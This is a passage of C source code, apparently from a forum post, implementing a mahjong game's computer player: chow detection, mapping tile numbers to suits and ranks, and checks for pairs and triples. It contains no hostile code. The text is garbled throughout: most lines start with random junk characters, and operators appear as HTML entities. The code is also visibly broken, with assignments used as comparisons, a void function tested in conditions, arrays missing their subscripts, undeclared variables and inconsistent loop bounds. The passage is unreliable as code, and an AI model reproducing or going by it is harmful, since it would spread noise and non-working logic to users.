2 S. p7 H- X9 H. a" A3 hb=computer.m;
0 Q1 |( Y: x  b' Z) p, ^' Swhile(b!=-1)
6 ]8 G9 [7 y# ^1 m, p! w" d{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.g=1;
) W* D2 i7 u, Pb--;
5 G) h! v% {/ _}
}
# I8 |- K% F4 Z* j! W) [( [0 ]f=0;
' h3 Q* [, C& ^- W; Twhile(f&lt;computer.m) /*吃的判断*/
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
) x! C5 J/ ?/ O8 J{
& ?' m4 Z0 X2 v, Iif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
  b: l1 r$ a, `+ r6 I' tif(ch[f].lgg-logoo==1)
  M, C) ?# i0 ]" V) o3 m{
% K2 U3 W. a' g+ v/ q4 t0 f0 Wgp++;
computer.pp[f].c=1;
( G6 q8 J. g4 M4 Ycomputer.pp[f+1].c=1;
  s; D+ R, d0 M( A- Y0 z}
. `4 [; G9 U- A8 m% [& b" l/ @if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
1 i9 a+ t+ M+ p* }$ @* F/ uif(ch[f+1].lgg-logoo==-1)
{
gp++;
- p/ r& ^9 H: \- y. U5 mcomputer.pp[f].c=1;
- l2 F; j/ @5 W3 u7 N  x# X- Lcomputer.pp[f+1].c=1;
! T  K+ L, i. m/ o# A}
8 P, X7 p1 \/ A- e0 Oif(ch[f].lgg-logoo==-1) /*中吃*/
& ]1 y% V# U$ o3 M& C$ t( cif(ch[f+1].lgg-logoo==1)
{
gp++;
3 t  R! Z) Z6 y1 A4 K7 jcomputer.pp[f].c=1;
% c6 C8 ]7 Z+ r; K3 p3 Lcomputer.pp[f+1].c=1;
6 W; N4 f$ ?# m) ]}
if(gp==1)
break;
' H! n/ x5 R7 s. C}
8 l' k" t; K' a+ }$ v. g2 t; Ff++;
: T5 R8 {# [& j% i2 f8 D}
, Y0 F& l6 A* Kif(gp==1)
0 ~- i; D/ f" E' p0 t0 @{sing=7;

! }6 N+ K+ q7 g% U5 ?0 j  x}
) q0 n" _& R& B/ opg=0;
gp=0;
$ u9 p4 N7 g: n  i6 T. eb=0;
}
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
, B/ s  J- B3 @0 l{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
+ U  F) H" s" U- N3 h9 V  gif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
1 E( u) j6 x! w3 H/ {+ h{
logo=1;
; m# w& n! t+ Q' a3 v& R7 Tif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
logoo=1;
( X6 v: M% X4 S4 xelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
; e* v4 }8 z' ~( o/ O: Y" ~else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
. u5 X7 ]  x) q( p3 S  K$ R# Ulogoo=3;
$ Y. b6 ^) o" w) g4 Velse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
- p4 v! Q9 }% @1 L, T/ {0 N' ?4 Klogoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
; ?4 U% y! _5 klogoo=5;
! K0 t  w: h5 R0 _( H$ K1 p* `* _else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
6 k. V7 u9 C7 R+ k5 J, C" glogoo=6;
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
logoo=7;
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
logoo=8;
( f9 w% E7 c+ Q! l7 t2 q, selse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
logoo=9;
4 Z& C- y6 s  p: M* {}
/ \- Q4 F5 \, w% L! @7 I9 Lelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
{
! Q; ^/ }& a2 y) d2 Ulogo=2;
% x( f1 z2 W  B" v2 L( K7 B$ {" xif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
4 p( E$ G# J. m6 p' \logoo=1;
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
logoo=2;
- Z4 b" X6 I6 P- _1 K6 k( M# R# ^else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
* S* z4 R9 O# q6 v+ ilogoo=3;
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
+ i7 }4 i  j; r. L# ]logoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
& ^* I1 M: N: T, C1 |  ologoo=5;
8 y1 n& e2 ]% e0 _else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
9 p% R$ M0 p, @+ alogoo=6;
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
# }+ `8 |7 Y7 R( o" E' g- |/ ~logoo=7;
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
! }( A& L& s) s! Klogoo=8;
4 a. b+ u- J. H. h( oelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
logoo=9;
}
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
{
9 T+ A( K; |9 O% G- G$ ~2 blogo=3;
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
# E# u3 `2 N. b: R, d0 blogoo=1;
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
: G% _/ U' W/ {. c+ Jlogoo=2;
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
! r# j! Q2 D1 ?& ^) Y9 ]logoo=3;
. D# A# ?5 j8 C" P/ `else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
+ @  G9 D8 r+ F  p/ e) xlogoo=4;
, n! H) c$ `0 `. Telse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
logoo=5;
$ F' P; C$ x7 P, W7 delse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
logoo=6;
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
0 c- d, R1 B5 Rlogoo=7;
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
/ B) I. f" |+ V/ _/ Ylogoo=8;
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
) |4 Z* F5 \; A! i- @logoo=9;
}
' J, M8 t; ]! e+ [6 jelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
{
logo=4;
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
logoo=1;
, H* e3 g( p, E# b3 zelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
logoo=2;
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
logoo=3;
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
+ s  e, n5 w0 zlogoo=4;
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
7 ~7 d7 |0 W  t3 Q: X5 Ologoo=5;
1 j/ w- Y7 T. }% Ielse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
logoo=6;
( w' O" ]7 Z+ p: k( Y! \9 l! Velse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
logoo=7;
" X. M0 ^: z* \/ S- ?5 q}
  b  W8 ^" @/ Z; M, wwhile(b&lt;=me.m)
{
7 c$ i  F" R8 n) ~+ l8 Tif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
0 G: ~$ n3 c/ L% t: q{
lg=1;
me.pp.d[0]=1;
/ O* d* ?8 J  f& {+ S3 Jif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
{
lgg=1;
/ L0 C7 j4 n* S% z+ j( L+ mme.pp.d[1]=1;
, D1 Y# d0 k% k! K}
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
1 H. l9 ?% k0 W/ J; O" Z0 }{
. ?$ }% Z% o$ O) @! E, u* ]lgg=2;
. Y1 e  c9 E) Y; s2 m& K7 H9 s9 xme.pp.d[1]=2;
}
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
{
' N- N# Y/ g9 z3 Clgg=3;
me.pp.d[1]=3;
0 _1 @1 _+ ?* t" r4 z' n4 V$ p3 o}
; X4 i, A+ O4 w* d' ^4 ~9 Delse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
{
lgg=4;
! \2 e& @1 N7 J+ bme.pp.d[1]=4;
}
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
{
lgg=5;
) E8 m4 n; h/ cme.pp.d[1]=5;
}
; y5 t- O; V  Selse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
! \( V" p. k8 b+ U, E* b. k3 w8 |{
3 v4 d# S9 q9 Llgg=6;
me.pp.d[1]=6;
}
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
4 l- b0 v0 @; b$ G{
lgg=7;
% g. F0 B/ I5 B) Y& xme.pp.d[1]=7;
}
5 ?- [- v# F) L0 x# X; e6 yelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
{
& c( G6 R. }( y% F/ qlgg=8;
me.pp.d[1]=8;
}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
# c6 ~5 {' x# |7 c" @( l1 y' F{
4 \) I7 K# N1 W) Olgg=9;
me.pp.d[1]=9;
}
* s, ~) G! O7 [}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
{
3 s8 r; w7 @5 v) N0 k7 y5 _lg=2;
me.pp.d[0]=2;
! R0 ?+ _. i* b7 `if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
{
lgg=1;
! ~. E9 W- V5 h7 {: P. Qme.pp.d[1]=1;
}
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
{
% q: g! m4 f' i4 t, u8 vlgg=2;
) F* k3 J! y3 U$ }1 h: q0 F. P. {me.pp.d[1]=2;
5 o- L& Y6 g$ C5 d; G4 X}
; y6 c8 r9 G9 i( i2 b! u# X$ |else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
{
lgg=3;
me.pp.d[1]=3;
}
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
; G+ L* Q0 E- G( ]! U{
lgg=4;
! p% f: _9 Y2 b1 F; A8 ime.pp.d[1]=4;
}
/ D5 N5 C+ j% m6 t& c' uelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
0 E5 F3 e2 _& b- u& j  I{
lgg=5;
me.pp.d[1]=5;
}
! y, `+ ?# n' f+ J" x3 \" ^* }0 ~6 \% ]else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
{
+ |" E) A1 E$ l% Dlgg=6;
) q% u- ?3 W0 Q1 U+ _9 p! rme.pp.d[1]=6;
1 Q8 M/ m6 y6 F+ O* R/ o}
$ Y+ l5 u6 |/ O  }* N' Delse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
/ X- |; S* g; E& C3 h3 e( ^{
lgg=7;
me.pp.d[1]=7;
}
; ]( a/ Q+ \: l1 Y7 O3 c# nelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
{
+ y9 h  ]: g9 k+ `lgg=8;
0 A3 J/ `+ a/ t% L1 o2 hme.pp.d[1]=8;
}
2 n" R0 j- y9 S2 A5 S9 }. Z" P9 ~else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
- V1 N8 C9 o7 A{
lgg=9;
! a  P/ O" `% n. Ome.pp.d[1]=9;
}
}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
{
lg=3;
me.pp.d[0]=3;
7 L8 p. o5 `1 Q. w% vif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
{
lgg=1;
me.pp.d[1]=1;
}
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
{
lgg=2;
% d2 [4 C; A3 G: P% K+ Cme.pp.d[1]=2;
$ X  T4 G& c' u5 p}
  R, C0 [0 @  d! ]3 U, N/ M7 felse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
{
9 [. h7 |/ _/ h% v* R+ vlgg=3;
me.pp.d[1]=3;
}
, J' j, B: U( g- i* _  m& a+ _( [else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
: k& K6 \  `- k( o{
lgg=4;
me.pp.d[1]=4;
) o0 u) a- g; a6 [' G4 W% B}
( l4 c' [: f" ]: y: S+ Velse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
% T& g) _! g6 N7 g, r4 m{
& I7 x6 a0 O4 _! p; Y! @0 [lgg=5;
/ C3 N9 Z# s7 G  ]3 R2 Ame.pp.d[1]=5;
}
. ^, Z+ B5 n5 v5 [' N; r5 telse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
{
lgg=6;
# ~. {6 n6 Z& C9 {6 cme.pp.d[1]=6;
}
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
{
lgg=7;
- u3 b6 E4 u' }me.pp.d[1]=7;
7 K6 B5 O( @' M0 z: D}
' R' A8 D! {" j' A1 qelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
{
lgg=8;
me.pp.d[1]=8;
}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
{
, ?( F1 o6 j- |. s) S3 Rlgg=9;
( H$ O8 l: s  _& Cme.pp.d[1]=9;
  e2 z% s# V* i, L}
}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
6 {+ q# H# h& x7 `4 j+ Z) c0 q{
lg=4;
  U+ j& r2 F& N$ lme.pp.d[0]=4;
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
  {$ [) h7 [% A0 z{
lgg=1;
7 _/ P' t9 T& t4 t& |. l2 Dme.pp.d[1]=1;
}
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
' ^- I, f2 G; T* v" b5 h& |0 ^{
' f4 @1 t  D7 Z3 ilgg=2;
: H2 S/ ]* ]$ g9 @. ^me.pp.d[1]=2;
}
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
$ \( W: ^8 \+ @8 |( I{
3 l0 E' W3 w/ V: W0 ylgg=3;
me.pp.d[1]=3;
1 [6 [4 ~/ e5 D& u7 h7 `}
7 w. C; y$ I$ gelse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
{
* L2 _0 g* z0 F( o4 |lgg=4;
me.pp.d[1]=4;
/ e  t4 ]& @+ X* o, a' x}
% r) s2 }7 O3 V& Q% selse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
3 y4 B# _- K1 h& G  B/ Z: _* Y$ Q{
lgg=5;
me.pp.d[1]=5;
}
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
{
lgg=6;
me.pp.d[1]=6;
7 p2 j5 l1 R& U: G}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
{
lgg=7;
. e+ d5 c9 Z6 Cme.pp.d[1]=7;
}
  t+ {! W9 Y, d) y! T+ |$ c0 Z}
: h# ?0 k4 w4 \6 S: i( `& l}
3 y- |' S! k$ P% A}
void istwo(testt)
int testt[];
7 b% z8 B& Y6 x, p( x; _/ m8 `* }( ^9 _{ if(testt[0]==testt[1])
second++;
/ F/ W) m) P: n, ^& q}
7 ]9 [" N/ s! M' l" t3 g& Nvoid isthree(testt,n)
9 K' |9 g! P- s6 i+ xint testt[],n=0;
, R5 d1 {  B0 o, I{ int i,j,flage=0,lianx=0,same=0;
n=n/3;
for(j=0;j&lt;n;j++)
{
for(i=j*3;i&lt;2+j*3;i++)
/ l! h0 k7 k  `0 u( j{
" [% w! W9 c' w9 N/ K) ~if(testt==testt[i+1])
  \/ @& h8 e+ Q+ v9 n: ]same++;
, s/ y6 n. W6 W# Y; W- e; |: Jif(testt[i+1]-testt==1)
lianx++;
) s1 C& Z1 U7 n}
3 F5 J7 p5 w8 N" X$ p( W% sif(same==2)
8 ]4 l5 Q6 R' B8 ~  C: j# G9 |threes++;
if(lianx==2)
threes++;
) l) r4 K. k+ G+ G5 Esame=0;
  |# O% ]3 B% Z, [% Clianx=0;
, o& j" e- L) X' R/ ?# ?5 k. O}
; J( _2 W% r; w4 k: {: h: v}
void panduan() /*本程序的精髓*/
{int data[14];
int pw[14];
int pt[14];
' E& r  K2 Y  c; H" s% B* w( Y* gint pi[14];
int pf[14];
int test[12];
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
for(jj=0;jj&lt;=me.m;jj++)
{
' d+ x; n6 a0 E: L6 n2 e7 fif(me.pp[jj].d[0]==1)
  g) k; y9 a; Tdata[jj]=me.pp[jj].d[1];
4 C5 t; l  o. Z$ |8 x& Eif(me.pp[jj].d[0]==2)
data[jj]=me.pp[jj].d[1]+10;
if(me.pp[jj].d[0]==3)
: P) l! B' @. R  ]8 ?3 O" ydata[jj]=me.pp[jj].d[1]+20;
if(me.pp[jj].d[0]==4)
( R; H3 r/ Z8 e8 tdata[jj]=me.pp[jj].d[1]+30;
& l- E& }- Z9 b, Q}
if(logo==2)
w=logoo+10;
if(logo==3)
w=logoo+20;
  ?; ^0 i. X* z# jif(logo==4)
w=logoo+30;
data[computer.m+1]=w;
for(mm=0;mm&lt;=computer.m;mm++)
for(nn=mm;nn&lt;=computer.m;nn++)
! X7 H! Y5 O& t2 o4 `if(data[mm]&gt;data[nn+1])
, o4 k( X) t% v/ J7 E{
tpp=data[mm];
data[mm]=data[nn+1];
data[nn+1]=tpp;
}
lp=0;
while(lp&lt;=computer.m)
6 T' z2 X2 _1 r1 W{ if(data[lp]&lt;10)
pw[ww++]=data[lp];
" |" _2 }$ E7 L% k. v* Eif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
) ~0 Q# M. a& T- H0 w' Vpt[tt++]=data[lp];
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
pi[ii++]=data[lp];
8 {4 s1 u) y3 u0 _  R! hif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
pf[ff++]=data[lp];
. L' `# ~4 C' v: Olp++;
}
, t  y7 `7 `/ K( ^if(ww==2)
istwo(pw);
% M4 x! Y+ d: M- ]6 D! Y. Gelse if(ww==3)
6 k2 }* R3 n7 y6 ?isthree(pw,ww);
else if(ww==5)
/*pw[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
0 U; m9 M  Z' c% O  ]* W0 o9 @for(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
6 [) F9 P( j' j+ G9 V+ f: Z}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
4 i1 ?; f; j$ k{
% P3 U3 W! q( s! O+ Q7 |# rkl=kl+2;
if(kl==5)
( D# K9 |2 e; ]break;
! [1 e6 Y/ o) t5 t2 a( ^9 h7 R}
test[ill++]=pw[kl];
$ T- w# w& n3 c# H}
isthree(test);
}
6 n/ ^3 ~& b' K/ P. |' U}
9 k0 d" K& T: R& \4 O' E9 R' ?else if(ww==6)
isthree(pw,ww);
/ M+ e' a5 E* `% j) l: Z9 l9 j6 welse if(ww==8)
& Y3 b; [- {/ K6 f+ N7 ffor(i=0;i&lt;7;i++)
{
2 T% `  y9 [3 c1 X! S. P- @2 vfor(j=0;j&lt;2;j++)
/ f8 s* J9 i8 }{test[j]=pw[i+j];
9 _7 w$ s& \/ E: t9 q! G' Y}
0 s; k! ^3 m  `' Tif(istwo(test))
8 N% \8 `8 x) Z" X; O# T' }6 i{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  W- [) V% `& N+ K! b- d' Q. N* i{if(kl==i)
{
3 _0 n8 M2 I# P9 lkl=kl+2;
0 x/ ^* I& C. I. H# {) X- R) nif(kl==8)
break;
9 G2 ~  {0 K; n' a. x}
test[ill++]=pw[kl];
}
" G: D! }# J" o& g% {# Z- Eisthree(test,ww-2);
* q7 ^9 @0 f7 ^" N2 ^}
& T# s" R  C0 B5 \: j# V# A" V}
else if(ww==9)
isthree(pw,ww);
else if(ww==11)
+ g7 \- K( |( N! Q3 ]for(i=0;i&lt;10;i++)
! H7 Y) A1 x7 u" l! z, c{
- G; n' u; s5 \: S+ s0 l* h. Q/ q, ~for(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
+ k( Q' Z0 F6 E7 Z! M0 f7 o1 i7 t}
if(istwo(test))
# T; M( N7 W" k- @* P{ ill=0;
1 z4 y$ D+ h9 m% e, p7 Hfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: T( |- N9 s+ \{if(kl==i)
{
kl=kl+2;
4 }" `7 k0 ]1 l4 tif(kl==11)
2 p2 \0 j0 W6 [2 ^break;
}
test[ill++]=pw[kl];
}
isthree(test,ww-2);
) Y. [$ y; i% ]# i* c( ^/ |}
) j7 X- P) S5 W7 n}
else if(ww=12)
# [+ Z& O1 c3 g) @- M& V5 Jisthree(pw,ww);
else if(ww=14)
for(i=0;i&lt;13;i++)
0 T" A; y9 R, M1 l, D) J{
# C! h  w8 y2 M/ s/ Yfor(j=0;j&lt;2;j++)
: Q1 h; j9 u" V2 a{test[j]=pw[i+j];
}
. s3 [! k% j% f: H. [( nif(istwo(test))
{ ill=0;
% j# N* `; b/ X, f7 wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
6 |  @% ^( B" @; t  A" ?, Y  {% j{
+ I5 V0 X, k. D. j. i* O0 b5 Mkl=kl+2;
4 r# b3 I3 M  I7 O, g6 Lif(kl==14)
$ L) X6 f2 c6 n0 h' Gbreak;
' [3 \8 U+ Z7 R5 O5 n# [( Z# R}
test[ill++]=pw[kl];
}
isthree(test,ww-2);
% {  H. T2 N4 U2 O}
}
if(tt==2)
istwo(pt);
  N# O- k- H) O/ F% belse if(tt==3)
/ u& ?4 \0 t# U/ [: u2 u6 Tisthree(pt,tt);
3 x8 J: z1 Q9 y4 P4 u  felse if(tt==5)
/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
& H0 g" |$ u& Z  l" ]6 @2 hfor(j=0;j&lt;2;j++)
- Q8 Z: H# f1 R$ M  \1 F! f, S& z7 a{test[j]=pt[i+j];
* Y! N" H5 {7 S: P1 Q4 [! H}
+ L4 g- ]6 i, G( h7 Kif(istwo(test))
6 W0 x4 j/ S! A* {{ ill=0;
; ~" \# v8 c" t' q$ \& z, X+ Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
1 f& q' k9 N( L& h- ~  Q* k{if(kl==i)
- }" v+ T! a/ G, ]{
kl=kl+2;
if(kl==5)
break;
}
test[ill++]=pt[kl];
, I( G1 u$ O% }  p3 _}
isthree(test);
}
}
. h/ _: r/ r% [else if(tt==6)
isthree(pt,tt);
else if(tt==8)
for(i=0;i&lt;7;i++)
( n0 e+ ]0 r4 ^: s{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
; C6 L$ v# w! k" `0 Q}
if(istwo(test))
{ ill=0;
1 P1 K7 x2 C* v  h  _0 P9 I+ n. d$ k$ ?for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
* x1 U: ?7 ~. X: lif(kl==8)
( c, `" G: t$ Y: n- X% abreak;
}
test[ill++]=pt[kl];
. q+ c+ ]* y$ \. C2 B7 a0 e  k}
2 f* n2 k/ f3 {, disthree(test,tt-2);
" q& a" Y; J  ]5 ?& u}
}
! I/ W2 Q4 j5 x0 G4 L7 q2 z2 Gelse if(tt==9)
isthree(pt,tt);
else if(tt==11)
4 Z9 s/ Q  {& r% G+ m; t, efor(i=0;i&lt;10;i++)
{
% u! C! w- G: D7 nfor(j=0;j&lt;2;j++)
& }3 Y  W) H; [( u{test[j]=pt[i+j];
1 x0 a6 x5 ^; P}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
! R3 l; w& P% E' W9 @( \1 L5 K{if(kl==i)
# b4 u0 s% Y2 J% w, E* D{
kl=kl+2;
if(kl==11)
9 z+ ], ?( Z" Ybreak;
1 b* p* X( i9 N: R; X}
( l; T- R7 H. D# P% G1 t! u4 U' e/ atest[ill++]=pt[kl];
}
& Z; s1 J1 f4 \. T  risthree(test,tt-2);
) }, t' _4 N- q% q$ D}
}
/ |: N7 B$ d8 m8 K# oelse if(tt=12)
* }. o+ R  ^; D1 {7 F- Sisthree(pt,tt);
else if(tt=14)
for(i=0;i&lt;13;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
( M$ X$ @( \1 N" j6 Nif(istwo(test))
{ ill=0;
) w4 o& z8 s* d. B1 _for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
. L1 q& S4 ]" X5 o, ?! Tkl=kl+2;
6 q2 S4 z. k$ Eif(kl==14)
2 h$ F& e' q0 ibreak;
}
1 q. ^% g2 ], i! b5 X- A' Stest[ill++]=pt[kl];
+ q$ i! W9 @) v' Z1 u. v, u# ]4 a* L2 g}
9 R7 ?+ b) z1 J0 ]. n! E% {isthree(test,tt-2);
}
3 }" K0 d8 ~  @% T}
if(ii==2)
istwo(pi);
0 U% Y+ b& x4 F- n2 Celse if(ii==3)
isthree(pi,ii);
* ~& ~8 J; Z/ z& \0 S3 h# uelse if(ii==5)
/*pi[5]原始牌数组，假设已经升序排列*/
9 \1 T5 R& r- a/ I/*test[3]用来放置测试牌的数组*/
7 n' r) K' ?4 R9 }for(i=0;i&lt;4;i++)
) [2 V% I0 j/ t( P, T8 T$ L& ^{
for(j=0;j&lt;2;j++)
1 [# w9 c/ T4 e' g! x{test[j]=pi[i+j];
* f$ w4 H' B1 I, V8 |}
! Z- l7 B; o/ x# |/ Oif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
' w; e) u4 U+ |& T2 P: Z7 l{if(kl==i)
{
kl=kl+2;
if(kl==5)
break;
}
4 y$ \  i- {; c8 s) rtest[ill++]=pw[kl];
}
. S* }+ ?2 {: y- pisthree(test);
8 \# L$ {( p6 d, N$ a9 o! F5 c$ p}
}
6 J4 t: {1 U& o% D' Q3 kelse if(ii==6)
* Y+ _6 B# t* {' k; Histhree(pi,ii);
else if(ii==8)
' ?: V' w6 L  A- afor(i=0;i&lt;7;i++)
5 j5 |7 \4 V7 {3 ~. u{
for(j=0;j&lt;2;j++)
1 K* K1 o5 V; |{test[j]=pi[i+j];
( q$ P) j7 a# ^. \9 o( e}
6 M* c" G7 J7 @* T& N4 W3 \$ Nif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
! s5 ~% s/ e6 F8 o6 D{
, C: a' b+ Q  |, N% B8 Q5 Skl=kl+2;
+ o& m) j2 c( A, s4 l' Eif(kl==8)
; r! S1 E+ s: j& j4 u9 jbreak;
}
test[ill++]=pi[kl];
}
9 N! a4 g4 {7 R/ m' S% p& risthree(test,ii-2);
3 o; r" L+ I' e0 p+ O7 L( d}
9 b9 m3 i+ T2 m- _5 B6 X: O3 I5 V; X}
else if(ii==9)
isthree(pi,ii);
. Q8 ]* b+ S# O/ Kelse if(ii==11)
for(i=0;i&lt;10;i++)
' H- c0 [! b9 Q/ [/ X' L{
for(j=0;j&lt;2;j++)
+ J" _# O% W# A6 B: M9 y! W{test[j]=pi[i+j];
+ n) s- ]1 w& A- k5 ^}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
1 A( ?, f: Y% O! V  @- q9 h+ t{
kl=kl+2;
! q. ^8 U7 F, U0 C4 Nif(kl==11)
, M8 R: ]9 O! b0 P, J* `8 [3 O" kbreak;
: X7 W- N  A. z3 b. |, \! P}
test[ill++]=pi[kl];
}
isthree(test,ii-2);
}
. s- S8 K6 i$ p6 |8 T" x- C}
+ A, x, l8 E. {' `) Belse if(ii=12)
+ q# u$ U, L# c5 Aisthree(pi,ii);
& ?: j1 E6 s6 t( p% W" K! i9 Jelse if(ii=14)
9 S& Z. y0 ~% f( i# w7 ~" dfor(i=0;i&lt;13;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
" J' y/ o7 I" Q8 [6 J}
